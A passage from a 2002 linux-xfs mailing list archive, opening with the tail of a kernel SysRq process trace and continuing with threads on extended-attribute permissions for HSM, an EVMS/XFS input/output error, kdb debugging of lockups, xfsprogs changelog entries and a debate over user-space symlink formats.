0 1174 1 1193 1156 (NOTLB) Call Trace: [] [] [] [] [] [] [] xinetd S F6E11FBC 0 1193 1 1218 1174 (NOTLB) Call Trace: [] [] [] lpd S 00000000 0 1218 1 1246 1193 (NOTLB) Call Trace: [] [] [] [] [] [] rpc.rquotad S F6DABFA8 0 1246 1 1263 1218 (NOTLB) Call Trace: [] [] [] [] [] nfsd S 00000010 5304 1256 1 1275 1257 (L-TLB) Call Trace: [] [] [] [] [] [] [] [] nfsd S 00000010 5304 1257 1 1256 1258 (L-TLB) Call Trace: [] [] [] [] [] [] [] nfsd S C02D6000 6196 1258 1 1257 1259 (L-TLB) Call Trace: [] [] [] [] [] [] nfsd S C02D6000 6196 1259 1 1258 1260 (L-TLB) Call Trace: [] [] [] [] [] [] nfsd S 00000000 6220 1260 1 1259 1261 (L-TLB) Call Trace: [] [] [] [] [] nfsd S 00000000 6220 1261 1 1260 1262 (L-TLB) Call Trace: [] [] [] [] [] nfsd S 00000000 6220 1262 1 1261 1263 (L-TLB) Call Trace: [] [] [] [] [] nfsd S 00000000 6220 1263 1 1262 1246 (L-TLB) Call Trace: [] [] [] [] [] [] rpc.mountd S F6D67FA8 0 1275 1 1290 1256 (NOTLB) Call Trace: [] [] [] [] [] amd S F6D48CA4 2416 1290 1 1360 1275 (NOTLB) Call Trace: [] [] [] [] [] [] automount S 000001F0 0 1360 1 1373 1290 (NOTLB) Call Trace: [] [] [] [] [] automount S 000001F0 0 1373 1 2738 1521 1360 (NOTLB) Call Trace: [] [] [] [] [] master S 00000000 0 1521 1 1533 1566 1373 (NOTLB) Call Trace: [] [] [] [] [] [] pickup S C02D6000 0 1532 1521 1533 (NOTLB) Call Trace: [] [] [] [] [] [] nqmgr S C02D6000 0 1533 1521 1532 (NOTLB) Call Trace: [] [] [] [] [] [] [] crond S 00000000 0 1566 1 1582 1521 (NOTLB) Call Trace: [] [] [] [] anacron S F6C060DC 0 1582 1 1727 1566 (NOTLB) Call Trace: [] [] [] runbb.sh S C03217E0 1392 1723 1 1726 2620 1727 (NOTLB) Call Trace: [] [] bbrun S C032185C 1340 1726 1723 1745 (NOTLB) Call Trace: [] [] runbb.sh S C0321818 4064 1727 1 1728 1723 1582 (NOTLB) Call Trace: [] [] bbrun S C0321BF8 4064 1728 1727 1977 (NOTLB) Call Trace: [] [] initlog S 000001F0 1392 1739 629 1740 (NOTLB) Call Trace: [] [] [] [] [] S99kickstart S C0321C1C 0 1740 1739 1984 (NOTLB) Call Trace: [] [] bb-nfsmod.sh S 00000202 0 1745 1726 1775 (NOTLB) Call Trace: [] [] bb-nfsmod.sh S 00000207 2416 1775 1745 1790 (NOTLB) Call Trace: [] [] sh S C032190C 0 1790 1775 1796 (NOTLB) Call Trace: [] [] showmount D 00000000 4064 1796 1790 (NOTLB) Call Trace: [] [] [] [] [] [] [] [] [] [] [] [] [] sleep S C0131D94 1392 1977 1728 (NOTLB) Call Trace: [] [] [] [] [] S99install S C03216CC 1340 1984 1740 2681 (NOTLB) Call Trace: [] [] portmap S F6929FA8 1392 2620 1 2666 1723 (NOTLB) Call Trace: [] [] [] [] [] ypbind S F7161FA8 1392 2666 1 2667 2713 2620 (NOTLB) Call Trace: [] [] [] [] [] ypbind S 000001F0 2420 2667 2666 2669 (NOTLB) Call Trace: [] [] [] [] [] ypbind S F6B5BFBC 2416 2668 2667 2669 (NOTLB) Call Trace: [] [] [] ypbind S F7343F40 0 2669 2667 2668 (NOTLB) Call Trace: [] [] [] [] do.local-sw S C03216C4 1392 2681 1984 2683 (NOTLB) Call Trace: [] [] install_local S C03217B8 2416 2683 2681 2724 (NOTLB) Call Trace: [] [] update-menus S C015009E 0 2713 1 2727 2666 (NOTLB) Call Trace: [] [] [] rpm D 00000000 1208 2724 2683 (NOTLB) Call Trace: [] [] [] [] [] [] [] [] [] [] [] [] [] gnome-mime-da D 00000000 816 2727 2713 (NOTLB) Call Trace: [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] automount S 00000000 1392 2737 1373 2738 (NOTLB) Call Trace: [] [] [] [] [] [] automount S F6F2B220 2416 2738 1373 2737 (NOTLB) Call Trace: [] [] [] [] [] [] [] [] [] [] [] [] [] martian source 255.255.255.255 from 127.0.0.1, on dev eth0 ll header: ff:ff:ff:ff:ff:ff:00:d0:59:2f:e1:37:08:00 SysRq : Resetting --------------060304050605050002090200-- From owner-linux-xfs@oss.sgi.com Mon Nov 11 15:10:59 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 15:11:01 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [213.95.15.193]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gABNAwuR017909 for ; Mon, 11 Nov 2002 15:10:58 -0800 Received: from Hermes.suse.de (Charybdis.suse.de [213.95.15.201]) by Cantor.suse.de (Postfix) with ESMTP id 63391148BF; Tue, 12 Nov 2002 00:12:24 +0100 (MET) Content-Type: text/plain; charset="iso-8859-1" From: Andreas Gruenbacher Organization: SuSE Linux AG To: "Theodore Ts'o" Subject: Re: Extended attributes: process vs. kernel context (e.g. HSM) Date: Tue, 12 Nov 2002 00:12:22 +0100 User-Agent: KMail/1.4.3 Cc: Alexander Viro , "Stephen C.Tweedie" , ext2-devel@lists.sourceforge.net, linux-xfs@oss.sgi.com References: <200211100135.26236.agruen@suse.de> <200211111334.32074.agruen@suse.de> <20021111210524.GB6032@think.thunk.org> In-Reply-To: <20021111210524.GB6032@think.thunk.org> MIME-Version: 1.0 Message-Id: <200211120012.22860.agruen@suse.de> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gABNAxuR017910 X-archive-position: 1635 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: agruen@suse.de Precedence: bulk X-list: linux-xfs On Monday 11 November 2002 22:05, Theodore Ts'o wrote: > On Mon, Nov 11, 2002 at 01:34:31PM +0100, Andreas Gruenbacher wrote: > > I think adding a (struct task_struct *) parameter to the xattr inode > > operations is a better idea --- I don't know how likely it is that > > credentials will be passed around in a future kernel, but if it's > > likely then the xattr inode operations would move in the right > > direction, instead of introducing weird flag(s). > > But that won't help the problem which was originally stated. In an > HSM setup, there will be a kernel module that will be executing on > behalf of untrusted user space code, but it will want set a trusted > user attribute. So being able to pass in a pointer to another task > isn't going to be useful; there isn't another task's credentials that > should be used. Instead, though, what you need is a way to tell the > xattr code that "this is a privileged operation". And that requires > but a single bit. > > Asking the HSM module to fake up a task structure just so it can > create a "credential" that has CAP_SYS_ADMIN set is simply madness. Yes, I was thinking of passing in NULL in the privileged case. > The other thing to consider here is that I really don't want to start > us down the path where individual user attributes are owned by some > user or group other than the owner or group owner of the base file. > When you start talking about "credentials being passed around", as > opposed to simply a single bit which says, "this is official kernel > business", you're scaring me. I wasn't thinking of different permissions for different attributes, but of a way do decouple the running process from the credentials seen in the file system. The only cases at the moment are kernel context vs. process context, but other cases might come up in the future (NFS?). > We **DON'T** want to have user and group ownership of xattrs. Next > thing you know, people will start wanting ACL's on xattrs. And then > it will all go downhill from there. ACL's on ACL's? ACL's on ACL's > on ACL's? ACL's on ACL's on ACL's on ACL's? Please, God, No. We > have to draw a line and say no the madness somewhere, and I think it > should be done sooner rather than later. I agree to that. --Andreas. From owner-linux-xfs@oss.sgi.com Mon Nov 11 15:43:18 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 15:43:23 -0800 (PST) Received: from BOSSW2K.plustream.com (sdsl-64-139-1-6.dsl.sca.megapath.net [64.139.1.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gABNhGuR018603 for ; Mon, 11 Nov 2002 15:43:17 -0800 Subject: Input/Output Error Evms/XFS MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 11 Nov 2002 15:44:47 -0800 Message-ID: content-class: urn:content-classes:message X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Input/Output Error Evms/XFS Thread-Index: AcKHMobavLQaFlRNR7aePtap6Gl2kAAVo08gAIyg9VA= From: "Michael Nguyen" To: Cc: Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gABNhIuR018604 X-archive-position: 1636 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: michael.nguyen@corosoft.com Precedence: bulk X-list: linux-xfs Hello, Environment: 2.4.18 + EVMS1.2 + XFS1.1 In recent test, I have confined the input/output error to an LV that was managed under LvmRegMgr. Actions as follow: Evms: c:c,LvmRegMgr={name="myvg"},sdb,sdc,sdd Evms: c:r,LvmRegMgr={name="mylv",size=10GB},lvm/myvg/Freespace Evms: c:v,lvm/myvg/mylv,c Evms: mkfs:XFS={},/dev/evms/lvm/myvg/mylv Evms: quit #mount -t xfs /dev/evms/lvm/myvg/mylv /mnt/mylv #cp -r /usr/src/* /mnt/mylv/. cp:cannot create regular file... : input/output error cp:cannot create regular file... : input/output error cp: ... ... Also, tried (convert to EVMS native voule): Evms: um:/dev/evms/lvm/myvg/mylv Evms: co:/dev/evms/lvm/myvg/mylv,N="newlv" Evms: quit #mount -t xfs /dev/evms/lvm/myvg/mylv /mnt/mylv #cp -r /usr/src/* /mnt/mylv/. cp:cannot create regular file... : input/output error cp:cannot create regular file... : input/output error cp: ... ... Has anyone familiar with this problem, or have other result with the above setup? Regards, Michael. From owner-linux-xfs@oss.sgi.com Mon Nov 11 17:08:36 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 17:08:41 -0800 (PST) Received: from monkeyiq.dnsalias.org (dialup-167.161.221.203.acc04-john-stp.comindico.com.au [203.221.161.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAC18XuR019996 for ; Mon, 11 Nov 2002 17:08:34 -0800 Received: by monkeyiq.dnsalias.org id gAC17nw20114 ; Tue, 12 Nov 2002 11:07:49 +1000 Date: Tue, 12 Nov 2002 11:07:49 +1000 Message-Id: <200211120107.gAC17nw20114@monkeyiq.dnsalias.org> Subject: Re: [Acl-Devel] Re: User EA on symlinks, 2.4.19-xfs From: Ben Martin To: linux-xfs@oss.sgi.com Content-Type: text/plain Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-archive-position: 1637 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: monkeyiq@users.sourceforge.net Precedence: bulk X-list: linux-xfs On Tue, 2002-11-12 at 06:46, Ethan Benson wrote: > On Mon, Nov 11, 2002 at 11:04:39PM +1000, Ben Martin wrote: > > > > I have thought of adapting libferris to support a new symlink format, > > using regular files and pretending at its API level that it is a link. I > > was still trying to avoid that for now as it opens up a few other > > issues. > > UGH, apples OSX does this and its gross, `symlinks' you create in the > GUI are useless regular files in the shell. It wouldn't be quite as painful in ferris because ferris being a library I add more and more support for it to bash as time goes by. so a cd my-strange-link; would work. > > unless i misunderstood your intent in which case disregard. > > IMO GUI programs which litter junk all over the filesystem are > exceedingly annoying (some organizations ban the use of client > software which results in this cruftification on organization > networks) also GUI programs which `extend' things in a manner that > breaks the command line shell are also exceedingly annoying. Yep, I'd not deny access from the shell as I am somewhat of a shell junky. I wouldn't imagine much application of my links outside of ~/.myapp dirs to make custom views. > > -- > Ethan Benson > http://www.alaska.net/~erbenson/ -- ----------------------------------------------------- In this world there are only two tragedies. One is not getting what one wants, and the other is getting it. -- Oscar Wilde http://witme.sourceforge.net/libferris.web/ From owner-linux-xfs@oss.sgi.com Mon Nov 11 17:32:36 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 17:32:38 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.sgi.com [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAC1WZuR020550 for ; Mon, 11 Nov 2002 17:32:36 -0800 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id TAA43245; Mon, 11 Nov 2002 19:34:01 -0600 (CST) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id TAA30957; Mon, 11 Nov 2002 19:34:01 -0600 (CST) Date: Mon, 11 Nov 2002 19:33:04 -0600 (CST) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: Michael Nguyen cc: linux-xfs@oss.sgi.com, Subject: Re: Input/Output Error Evms/XFS In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 1638 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Hi Michael - It would be great if you could try this with one of the XFS 1.2 prereleases, just so we don't have to possibly rediscover old bugs. Also, an strace on the failing "cp" -might- be interesting. And, as always, any log messages? -Eric On Mon, 11 Nov 2002, Michael Nguyen wrote: > Hello, > > Environment: 2.4.18 + EVMS1.2 + XFS1.1 > > In recent test, I have confined the input/output > error to an LV that was managed under LvmRegMgr. > #cp -r /usr/src/* /mnt/mylv/. > cp:cannot create regular file... : input/output error > cp:cannot create regular file... : input/output error > cp: ... > ... From owner-linux-xfs@oss.sgi.com Mon Nov 11 17:35:15 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 17:35:17 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.sgi.com [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAC1ZEuR020977 for ; Mon, 11 Nov 2002 17:35:15 -0800 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id TAA65025; Mon, 11 Nov 2002 19:36:30 -0600 (CST) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id TAA47334; Mon, 11 Nov 2002 19:36:30 -0600 (CST) Date: Mon, 11 Nov 2002 19:35:34 -0600 (CST) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: Bryan Whitehead cc: linux-xfs@oss.sgi.com Subject: Re: HIGHMEM lockups with XFS fs In-Reply-To: <3DD03603.7050106@jpl.nasa.gov> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 1639 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Hi Bryan - We're big fans of kdb around here, if you could compile with kdb, break into it when you lock up, and do a backtrace on some (or all...) of the processes, that would be a good start. kdb> ps will give you a process list kdb> btp will backtrace kdb> bta will backtrace all pids -Eric On Mon, 11 Nov 2002, Bryan Whitehead wrote: > I've run memtest to verify that all my memory is ok. When I remove all > XFS partitions and run ext3 I don't get lockups. > > The hard lock keeps me from even syncing the disk (Alt-SysRq-S). I was > however with a serial-console get some information. I attached the boot > sequence allong with the alt-sysrq output after lockup. > > I have the time to help track this bug down, just give me instructions > on what you'd like me todo. (I can rebuild and patch kernels if needed) > > -- > Bryan Whitehead > SysAdmin - JPL - Interferometry Systems and Technology > Phone: 818 354 2903 > driver@jpl.nasa.gov > From owner-linux-xfs@oss.sgi.com Mon Nov 11 20:14:02 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 11 Nov 2002 20:14:06 -0800 (PST) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAC4E2uR023826 for ; Mon, 11 Nov 2002 20:14:02 -0800 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id UAA03682 for ; Mon, 11 Nov 2002 20:15:33 -0800 (PST) mail_from (nathans@snort.melbourne.sgi.com) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id PAA41316 for linux-xfs@oss.sgi.com; Tue, 12 Nov 2002 15:14:15 +1100 (EST) Date: Tue, 12 Nov 2002 15:14:15 +1100 (EST) From: Nathan Scott Message-Id: <200211120414.PAA41316@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - bench, docs, janitor X-archive-position: 1640 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@snort.melbourne.sgi.com Precedence: bulk X-list: linux-xfs xfs-cmds:slinx:132649a - 2 clients seems an interesting dbench case too as the discrepency between 1 and 10 is noticable atm. xfs-cmds:slinx:132801a - update some documentation, rationalise some headers, tidy some dead mkfs code, leftover from IRIX libdisk version. cheers. Date: Sun Nov 10 18:48:59 PST 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:132649a cmd/xfstests/run.dbench2 - 1.1 Date: Mon Nov 11 20:01:08 PST 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:132801a cmd/xfsprogs/doc/README.quota - 1.6 - update wrt some quota-on-root changes that are in the pipeline; also mention that IRIX now has support for group quotas in recent versions & that this is ondisk compatible with Linux/XFS grpquota. cmd/xfsprogs/man/man8/mkfs.xfs.8 - 1.13 - Minor updates -- -C option same as -f, so -C is now history (it was all stubbed out no-op code anyway). cmd/xfsprogs/mkfs/fstyp.c - 1.7 cmd/xfsprogs/mkfs/proto.c - 1.9 cmd/xfsprogs/mkfs/xfs_mkfs.c - 1.37 cmd/xfsprogs/libdisk/pttype.c - 1.5 cmd/xfsprogs/libdisk/pttype.h - 1.2 cmd/xfsprogs/libdisk/drivers.c - 1.10 cmd/xfsprogs/libdisk/drivers.h - 1.1 cmd/xfsprogs/libdisk/Makefile - 1.7 - rationalise headers, remove any use of mountinfo.h. cmd/xfsprogs/libdisk/mountinfo.c - 1.5 - removed, was just a bunch of stubbed out functions that mkfs was still using but not getting any functionality out of - we use the fstyp/pttyp interfaces for checking before overwrite and have always done so, on Linux. cmd/xfsprogs/include/Makefile - 1.14 cmd/xfsprogs/include/mountinfo.h - 1.5 - mountinfo.h is history - twas just a bunch of stubbed out IRIX code. cmd/xfsprogs/db/bmap.c - 1.6 cmd/xfsprogs/db/dquot.c - 1.6 cmd/xfsprogs/db/fprint.c - 1.6 cmd/xfsprogs/db/init.c - 1.7 cmd/xfsprogs/db/frag.c - 1.7 cmd/xfsprogs/db/freesp.c - 1.6 cmd/xfsprogs/db/command.c - 1.5 cmd/xfsprogs/db/check.c - 1.10 - rationalise headers - remove duplicated #includes. From owner-linux-xfs@oss.sgi.com Tue Nov 12 00:08:38 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 00:08:44 -0800 (PST) Received: from iris.acsalaska.net (iris.slb.nwc.acsalaska.net [209.112.155.43]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAC88buR028298 for ; Tue, 12 Nov 2002 00:08:37 -0800 Received: from erbenson.alaska.net (4-pm29.nwc.alaska.net [209.112.158.4]) by iris.acsalaska.net (8.12.5/8.12.5) with ESMTP id gAC8A9vW040180 for ; Mon, 11 Nov 2002 23:10:09 -0900 (AKST) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id 45C893A0A for ; Mon, 11 Nov 2002 23:10:08 -0900 (AKST) Received: by plato.local.lan (Postfix, from userid 1000) id D07BD4104E2; Mon, 11 Nov 2002 23:10:07 -0900 (AKST) Date: Mon, 11 Nov 2002 23:10:07 -0900 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: [Acl-Devel] Re: User EA on symlinks, 2.4.19-xfs Message-ID: <20021112081007.GH16831@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: <200211120107.gAC17nw20114@monkeyiq.dnsalias.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="jaoouwwPWoQSJZYp" Content-Disposition: inline In-Reply-To: <200211120107.gAC17nw20114@monkeyiq.dnsalias.org> User-Agent: Mutt/1.3.28i X-OS: Debian GNU X-gpg-fingerprint: E3E4 D0BC 31BC F7BB C1DD C3D6 24AC 7B1A 2C44 7AFC X-gpg-key: http://www.alaska.net/~erbenson/gpg/key.asc Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-archive-position: 1641 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: erbenson@alaska.net Precedence: bulk X-list: linux-xfs --jaoouwwPWoQSJZYp Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Nov 12, 2002 at 11:07:49AM +1000, Ben Martin wrote: > On Tue, 2002-11-12 at 06:46, Ethan Benson wrote: > > On Mon, Nov 11, 2002 at 11:04:39PM +1000, Ben Martin wrote: > > >=20 > > > I have thought of adapting libferris to support a new symlink format, > > > using regular files and pretending at its API level that it is a link= . I > > > was still trying to avoid that for now as it opens up a few other > > > issues. > >=20 > > UGH, apples OSX does this and its gross, `symlinks' you create in the > > GUI are useless regular files in the shell. >=20 > It wouldn't be quite as painful in ferris because ferris being a library > I add more and more support for it to bash as time goes by.=20 > so a cd my-strange-link; would work. not everyone uses bash. there is absolutly no acceptable reason to reinvent("symlink")=20 --=20 Ethan Benson http://www.alaska.net/~erbenson/ --jaoouwwPWoQSJZYp Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj3Qt18ACgkQJKx7GixEevzrHgCdESSBfOfjpCbaVzdIi+sI6nVW dUoAniFNvWz7uaeI8xSEPsHeMvXvIK1B =CJpo -----END PGP SIGNATURE----- --jaoouwwPWoQSJZYp-- From owner-linux-xfs@oss.sgi.com Tue Nov 12 00:17:32 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 00:17:34 -0800 (PST) Received: from absinthe.carnagecopia.com (qmailr@absinthe.carnagecopia.com [216.187.87.246]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAC8HWuR028751 for ; Tue, 12 Nov 2002 00:17:32 -0800 Received: (qmail 4650 invoked by uid 85); 12 Nov 2002 08:19:05 -0000 Received: from random@damnthatsucks.com by absinthe.carnagecopia.com by uid 82 with qmail-scanner-1.15 ( Clear:. Processed in 0.105693 secs); 12 Nov 2002 08:19:05 -0000 X-Qmail-Scanner-Mail-From: random@damnthatsucks.com via absinthe.carnagecopia.com X-Qmail-Scanner: 1.15 (Clear:. Processed in 0.105693 secs) Received: from unknown (HELO damnthatsucks.com) (24.83.210.139) by absinthe.carnagecopia.com with SMTP; 12 Nov 2002 08:19:04 -0000 Message-ID: <3DD0B975.9070301@damnthatsucks.com> Date: Tue, 12 Nov 2002 00:19:01 -0800 From: Vincent Janelle User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.2b) Gecko/20021016 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Ethan Benson CC: linux-xfs@oss.sgi.com Subject: Re: [Acl-Devel] Re: User EA on symlinks, 2.4.19-xfs References: <200211120107.gAC17nw20114@monkeyiq.dnsalias.org> <20021112081007.GH16831@plato.local.lan> In-Reply-To: <200211120107.gAC17nw20114@monkeyiq.dnsalias.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 1642 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: random@damnthatsucks.com Precedence: bulk X-list: linux-xfs Ethan Benson wrote: >On Tue, Nov 12, 2002 at 11:07:49AM +1000, Ben Martin wrote: > > >>On Tue, 2002-11-12 at 06:46, Ethan Benson wrote: >> >> >>>On Mon, Nov 11, 2002 at 11:04:39PM +1000, Ben Martin wrote: >>> >>> >>>>I have thought of adapting libferris to support a new symlink format, >>>>using regular files and pretending at its API level that it is a link. I >>>>was still trying to avoid that for now as it opens up a few other >>>>issues. >>>> >>>> >>>UGH, apples OSX does this and its gross, `symlinks' you create in the >>>GUI are useless regular files in the shell. >>> >>> >>It wouldn't be quite as painful in ferris because ferris being a library >>I add more and more support for it to bash as time goes by. >>so a cd my-strange-link; would work. >> >> > >not everyone uses bash. there is absolutly no acceptable reason to >reinvent("symlink") > > > not to mention the added overhead involved by involving a file open, seek, and processing this 'symlink' to obtain the info about the real file. From owner-linux-xfs@oss.sgi.com Tue Nov 12 01:47:39 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 01:47:43 -0800 (PST) Received: from wiprom2mx2.wipro.com (wiprom2mx2.wipro.com [203.197.164.42]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAC9lZuR031070 for ; Tue, 12 Nov 2002 01:47:37 -0800 Received: from m2vwall5.wipro.com (m2vwall5.wipro.com [10.115.50.5]) by wiprom2mx2.wipro.com (8.11.3/8.11.3) with SMTP id gAC9n0127859 for ; Tue, 12 Nov 2002 15:19:03 +0530 (IST) Received: from blr-m3-msg.wipro.com ([10.114.50.99]) by blr-m1-bh2.wipro.com with Microsoft SMTPSVC(5.0.2195.4905); Tue, 12 Nov 2002 15:18:59 +0530 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 Subject: open from kernel Date: Tue, 12 Nov 2002 15:18:59 +0530 Message-ID: <72D09F11CC09B645ADE2890F6B442FD81E6BDD@blr-m3-msg.wipro.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: open from kernel Thread-Index: AcKKMLl+K/0i57l1TfuZESvor/Z1Gg== From: "santhosh kumar" To: X-OriginalArrivalTime: 12 Nov 2002 09:48:59.0945 (UTC) FILETIME=[B9C36990:01C28A30] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from base64 to 8bit by oss.sgi.com id gAC9lduR031072 X-archive-position: 1643 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: santhosh.kumar@wipro.com Precedence: bulk X-list: linux-xfs Hi, I am not able to open files present in XFS filesystem from kernel space. Is this a limitation or should i need to something in order to achieve the same. I am using the O_DIRECT flag. Thanks Regards Santhosh From owner-linux-xfs@oss.sgi.com Tue Nov 12 02:06:22 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 02:06:24 -0800 (PST) Received: from smtpzilla3.xs4all.nl (smtpzilla3.xs4all.nl [194.109.127.139]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gACA6LuR031863 for ; Tue, 12 Nov 2002 02:06:22 -0800 Received: from auto-nb1.xs4all.nl (coltex.xs4all.nl [213.84.127.28]) by smtpzilla3.xs4all.nl (8.12.0/8.12.0) with ESMTP id gACA7pnm042504; Tue, 12 Nov 2002 11:07:53 +0100 (CET) Message-Id: <4.3.2.7.2.20021112110504.03ccc158@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 12 Nov 2002 11:06:13 +0100 To: "santhosh kumar" , From: Seth Mos Subject: Re: open from kernel In-Reply-To: <72D09F11CC09B645ADE2890F6B442FD81E6BDD@blr-m3-msg.wipro.co m> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-archive-position: 1644 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: knuffie@xs4all.nl Precedence: bulk X-list: linux-xfs At 15:18 12-11-2002 +0530, santhosh kumar wrote: >Hi, > > I am not able to open files present in XFS filesystem from kernel > space. Is this a limitation or should i need to something in order to > achieve the same. I am using the O_DIRECT flag You need a kernel with XFS filesystem support to be able read files from XFS filesystems. if you "cat /proc/filesystems" does it contain the xfs string? Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Tue Nov 12 02:25:53 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 02:25:58 -0800 (PST) Received: from web15205.mail.bjs.yahoo.com ([61.135.128.135]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gACAPquR005846 for ; Tue, 12 Nov 2002 02:25:53 -0800 Message-ID: <20021112102715.57735.qmail@web15205.mail.bjs.yahoo.com> Received: from [210.72.245.11] by 